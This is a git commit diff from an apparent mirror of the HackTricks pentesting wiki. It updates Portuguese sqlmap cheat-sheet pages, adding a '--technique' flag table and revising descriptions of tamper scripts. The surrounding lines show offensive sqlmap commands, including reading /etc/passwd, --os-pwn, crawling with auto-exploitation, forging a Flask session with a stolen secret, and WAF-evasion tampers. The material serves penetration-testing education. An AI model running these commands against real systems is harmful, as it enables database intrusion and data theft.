mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin
This commit is contained in:
		
							parent
							
								
									c61c155d02
								
							
						
					
					
						commit
						86013314c7
					
				| @ -21,6 +21,23 @@ | |||||||
| --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) | --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) | ||||||
| --proxy=PROXY | --proxy=PROXY | ||||||
| ``` | ``` | ||||||
|  | ### Technique flags (`--technique`) | ||||||
|  | 
 | ||||||
|  | O argumento `--technique` define quais métodos de injeção SQL o sqlmap tentará. Cada caractere na string representa uma técnica: | ||||||
|  | 
 | ||||||
|  | | Letra | Técnica | Descrição | | ||||||
|  | | ------ | --------- | ----------- | | ||||||
|  | | B | Boolean-based blind | Usa condições verdadeiro/falso para inferir dados | | ||||||
|  | | E | Error-based | Aproveita mensagens de erro detalhadas do DBMS para exfiltrar resultados | | ||||||
|  | | U | UNION query | Injeta declarações `UNION SELECT` para buscar dados pelo mesmo canal | | ||||||
|  | | S | Stacked queries | Adiciona declarações adicionais separadas por `;` | | ||||||
|  | | T | Time-based blind | Baseia-se em atrasos (`SLEEP`, `WAITFOR`) para detectar injeção | | ||||||
|  | | Q | Inline / out-of-band | Usa funções como `LOAD_FILE()` ou canais OOB como DNS | | ||||||
|  | 
 | ||||||
|  | A ordem padrão é `BEUSTQ`. Você pode rearranjar ou limitar, por exemplo, apenas Boolean e Time-based nessa ordem: | ||||||
|  | ```bash | ||||||
|  | sqlmap -u "http://target/?id=1" --technique="BT" --batch | ||||||
|  | ``` | ||||||
| ### Recuperar Informações | ### Recuperar Informações | ||||||
| 
 | 
 | ||||||
| #### Interno | #### Interno | ||||||
| @ -40,9 +57,9 @@ | |||||||
| --columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> ) | --columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> ) | ||||||
| -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column | -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column | ||||||
| ``` | ``` | ||||||
| ## Local de injeção | ## Injection place | ||||||
| 
 | 
 | ||||||
| ### Da captura do Burp/ZAP | ### From Burp/ZAP capture | ||||||
| 
 | 
 | ||||||
| Capture a solicitação e crie um arquivo req.txt | Capture a solicitação e crie um arquivo req.txt | ||||||
| ```bash | ```bash | ||||||
| @ -116,10 +133,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | |||||||
| #In kali you can see all the tampers in /usr/share/sqlmap/tamper | #In kali you can see all the tampers in /usr/share/sqlmap/tamper | ||||||
| ``` | ``` | ||||||
| | Tamper                       | Descrição                                                                                                                         | | | Tamper                       | Descrição                                                                                                                         | | ||||||
| | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------- | | ||||||
| | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                   | | | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                   | | ||||||
| | apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode                                         | | | apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode                                         | | ||||||
| | appendnullbyte.py            | Anexa o caractere NULL codificado no final do payload                                                                              | | | appendnullbyte.py            | Anexa um caractere NULL codificado no final do payload                                                                           | | ||||||
| | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                        | | | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                        | | ||||||
| | between.py                   | Substitui o operador maior que \('>'\) por 'NOT BETWEEN 0 AND \#'                                                           | | | between.py                   | Substitui o operador maior que \('>'\) por 'NOT BETWEEN 0 AND \#'                                                           | | ||||||
| | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE | | | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE | | ||||||
| @ -131,9 +148,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | |||||||
| | charunicodeencode.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "%u0022"                | | | charunicodeencode.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "%u0022"                | | ||||||
| | charunicodeescape.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "\u0022"                | | | charunicodeescape.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "\u0022"                | | ||||||
| | equaltolike.py               | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE'                                                   | | | equaltolike.py               | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE'                                                   | | ||||||
| | escapequotes.py              | Escapa as aspas com barra \(' e "\)                                                                                                | | | escapequotes.py              | Escapa aspas com barra \(' e "\)                                                                                                 | | ||||||
| | greatest.py                  | Substitui o operador maior que \('>'\) pelo equivalente 'GREATEST'                                                            | | | greatest.py                  | Substitui o operador maior que \('>'\) pelo seu equivalente 'GREATEST'                                                      | | ||||||
| | halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave                                                             | | | halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                              | | ||||||
| | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)'                                                       | | | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)'                                                       | | ||||||
| | modsecurityversioned.py      | Envolve a consulta completa com um comentário versionado                                                                          | | | modsecurityversioned.py      | Envolve a consulta completa com um comentário versionado                                                                          | | ||||||
| | modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                      | | | modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                      | | ||||||
| @ -160,8 +177,11 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | |||||||
| | unmagicquotes.py             | Substitui o caractere de aspas \('\) por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final \(para funcionar\) | | | unmagicquotes.py             | Substitui o caractere de aspas \('\) por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final \(para funcionar\) | | ||||||
| | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                   | | | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                   | | ||||||
| | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                       | | | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                       | | ||||||
| | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL                                                    | | | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                       | | ||||||
| | versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário versionado do MySQL                                                                   | | | versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário MySQL versionado                                                                     | | ||||||
| | xforwardedfor.py             | Anexa um cabeçalho HTTP falso 'X-Forwarded-For'                                                                                  | | | xforwardedfor.py             | Anexa um cabeçalho HTTP falso 'X-Forwarded-For'                                                                                  | | ||||||
| 
 | 
 | ||||||
|  | ## Referências | ||||||
|  | - [SQLMap: Testando Vulnerabilidades de Banco de Dados SQL](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) | ||||||
|  | 
 | ||||||
| {{#include ../../banners/hacktricks-training.md}} | {{#include ../../banners/hacktricks-training.md}} | ||||||
|  | |||||||
| @ -23,6 +23,23 @@ | |||||||
| --proxy=http://127.0.0.1:8080 | --proxy=http://127.0.0.1:8080 | ||||||
| --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char | --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char | ||||||
| ``` | ``` | ||||||
|  | ### Technique flags (`--technique`) | ||||||
|  | 
 | ||||||
|  | A opção `--technique` permite restringir ou reordenar as técnicas de injeção SQL que o sqlmap irá testar. Cada letra corresponde a uma classe diferente de payloads: | ||||||
|  | 
 | ||||||
|  | | Letter | Technique | Description | | ||||||
|  | | ------ | --------- | ----------- | | ||||||
|  | | B | Boolean-based blind | Usa condições verdadeiro/falso na resposta da página para inferir resultados | | ||||||
|  | | E | Error-based | Aproveita mensagens de erro detalhadas do DBMS para extrair dados | | ||||||
|  | | U | UNION query | Injeta declarações `UNION SELECT` para buscar dados pelo mesmo canal | | ||||||
|  | | S | Stacked queries | Anexa declarações extras separadas por um delimitador SQL (`;`) | | ||||||
|  | | T | Time-based blind | Baseia-se em atrasos `SLEEP/WAITFOR` para detectar condições injetáveis | | ||||||
|  | | Q | Inline / out-of-band | Utiliza funções como `LOAD_FILE()` ou exfiltração DNS para extrair dados | | ||||||
|  | 
 | ||||||
|  | A ordem padrão que o sqlmap seguirá é `BEUSTQ` (todas as técnicas). Você pode mudar tanto a ordem quanto o subconjunto. Por exemplo, o seguinte comando irá **apenas** tentar as técnicas de UNION query e Time-based blind, tentando UNION primeiro: | ||||||
|  | ```bash | ||||||
|  | sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch | ||||||
|  | ``` | ||||||
| ### Recuperar Informações | ### Recuperar Informações | ||||||
| 
 | 
 | ||||||
| #### Interno | #### Interno | ||||||
| @ -82,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" | |||||||
| ``` | ``` | ||||||
| ### Adicionar técnica de detecção | ### Adicionar técnica de detecção | ||||||
| 
 | 
 | ||||||
| Se você encontrou um SQLi, mas o sqlmap não o detectou, você pode forçar a técnica de detecção com argumentos como `--prefix` ou `--suffix`, ou se for mais complexo, adicionando-a aos payloads usados pelo sqlmap em `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, por exemplo, para base de tempo cega. | Se você encontrou um SQLi, mas o sqlmap não o detectou, você pode forçar a técnica de detecção com argumentos como `--prefix` ou `--suffix`, ou se for mais complexo, adicionando-a aos payloads usados pelo sqlmap em `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, por exemplo, para baseado em time blind. | ||||||
| 
 | 
 | ||||||
| ### Eval | ### Eval | ||||||
| 
 | 
 | ||||||
| **Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com algum one-liner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de ser enviada**: | **Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com algum oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de ser enviada**: | ||||||
| ```bash | ```bash | ||||||
| sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump | sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump | ||||||
| ``` | ``` | ||||||
| @ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn | |||||||
| ```bash | ```bash | ||||||
| --file-read=/etc/passwd | --file-read=/etc/passwd | ||||||
| ``` | ``` | ||||||
| ### Rastrear um site com SQLmap e auto-exploração | ### Rastear um site com SQLmap e auto-exploração | ||||||
| ```bash | ```bash | ||||||
| sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 | sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 | ||||||
| 
 | 
 | ||||||
| @ -122,7 +139,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat | |||||||
| 
 | 
 | ||||||
| ## Personalizando a Injeção | ## Personalizando a Injeção | ||||||
| 
 | 
 | ||||||
| ### Defina um sufixo | ### Definir um sufixo | ||||||
| ```bash | ```bash | ||||||
| python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- " | python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- " | ||||||
| ``` | ``` | ||||||
| @ -146,17 +163,17 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s | |||||||
| | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | ||||||
| | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                    | | | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                    | | ||||||
| | apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode                                          | | | apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode                                          | | ||||||
| | appendnullbyte.py            | Anexa um caractere NULL codificado ao final do payload                                                                            | | | appendnullbyte.py            | Anexa o caractere NULL codificado no final do payload                                                                             | | ||||||
| | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                         | | | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                         | | ||||||
| | between.py                   | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'                                                                   | | | between.py                   | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'                                                                   | | ||||||
| | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE | | | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE | | ||||||
| | chardoubleencode.py          | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados)                                        | | | chardoubleencode.py          | Codifica em URL duas vezes todos os caracteres em um payload dado (não processando já codificados)                                 | | ||||||
| | commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                    | | | commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                    | | ||||||
| | commalessmid.py              | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'                                                               | | | commalessmid.py              | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'                                                               | | ||||||
| | concat2concatws.py           | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                             | | | concat2concatws.py           | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                             | | ||||||
| | charencode.py                | Codifica em URL todos os caracteres em um payload dado (não processando já codificados)                                           | | | charencode.py                | Codifica em URL todos os caracteres em um payload dado (não processando já codificados)                                           | | ||||||
| | charunicodeencode.py         | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "%u0022"                  | | | charunicodeencode.py         | Codifica em URL unicode caracteres não codificados em um payload dado (não processando já codificados). "%u0022"                  | | ||||||
| | charunicodeescape.py         | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "\u0022"                  | | | charunicodeescape.py         | Codifica em URL unicode caracteres não codificados em um payload dado (não processando já codificados). "\u0022"                  | | ||||||
| | equaltolike.py               | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'                                                       | | | equaltolike.py               | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'                                                       | | ||||||
| | escapequotes.py              | Escapa aspas (' e ") com barra                                                                                                   | | | escapequotes.py              | Escapa aspas (' e ") com barra                                                                                                   | | ||||||
| | greatest.py                  | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST'                                                             | | | greatest.py                  | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST'                                                             | | ||||||
| @ -182,12 +199,17 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s | |||||||
| | space2mysqldash.py           | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n')                        | | | space2mysqldash.py           | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n')                        | | ||||||
| | space2plus.py                | Substitui o caractere de espaço (' ') por um sinal de mais ('+')                                                                  | | | space2plus.py                | Substitui o caractere de espaço (' ') por um sinal de mais ('+')                                                                  | | ||||||
| | space2randomblank.py         | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        | | | space2randomblank.py         | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        | | ||||||
| | symboliclogical.py           | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e                                                   | | | symboliclogical.py           | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e                                                     | | ||||||
| | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                        | | | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                        | | ||||||
| | unmagicquotes.py             | Substitui o caractere de aspas (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) | | | unmagicquotes.py             | Substitui o caractere de citação (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) | | ||||||
| | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                    | | | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                    | | ||||||
| | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                        | | | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                        | | ||||||
| | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                        | | | versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                        | | ||||||
| | versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário MySQL versionado                                                                      | | | versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário MySQL versionado                                                                      | | ||||||
|  | | xforwardedfor.py             | Anexa um cabeçalho HTTP falso 'X-Forwarded-For'                                                                                    | | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | ## Referências | ||||||
|  | - [SQLMap: Testando Vulnerabilidades em Bancos de Dados SQL](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) | ||||||
| 
 | 
 | ||||||
| {{#include ../../../banners/hacktricks-training.md}} | {{#include ../../../banners/hacktricks-training.md}} | ||||||
|  | |||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user